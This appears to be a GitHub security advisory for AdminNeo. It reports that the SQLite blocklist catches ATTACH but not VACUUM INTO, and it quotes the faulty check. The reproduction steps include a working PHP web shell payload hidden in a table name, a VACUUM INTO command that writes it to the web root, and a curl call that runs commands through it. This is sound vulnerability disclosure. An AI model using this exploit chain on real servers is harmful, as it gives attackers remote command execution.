Vulnerability GHSA-q5mp-gfjf-cf2j

Summary

Adminer blocks ATTACH queries for SQLite to prevent arbitrary file creation. However, VACUUM INTO is not blocked and achieves the same result: writing a database file containing attacker-controlled PHP code to any path with any extension. An authenticated SQLite user can write a web shell to the web root and execute commands.

Originally reported in Adminer: GHSA-q4f2-39gr-45jh

Root Cause

sql.inc.php, line 146:

if (DIALECT == "sqlite" && preg_match("~^$space*+ATTACH\\b~i", $q, $match)) {
    // blocked
}

Only ATTACH is in the blocklist. VACUUM INTO (available since SQLite 3.27.0) writes the entire database to a new file at an arbitrary path with an arbitrary extension. It is not checked.

Steps To Reproduce

1. Login to SQLite

1. Open AdminNeo and select driver: SQLite
2. Login and create a new database (e.g., stage.db)

2. Inject PHP code and write the shell

Navigate to SQL command and execute:

CREATE TABLE "<?php system($_GET['c']); ?>" (i int);
VACUUM INTO '/var/www/html/shell.php';

The SQLite file is written to /var/www/html/shell.php. The table name containing <?php appears as raw bytes in the file. PHP's parser finds and executes it.

3. Execute commands

curl "http://TARGET/shell.php?c=id"
# uid=0(root) gid=0(root) groups=0(root)

Collaborator Request

This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!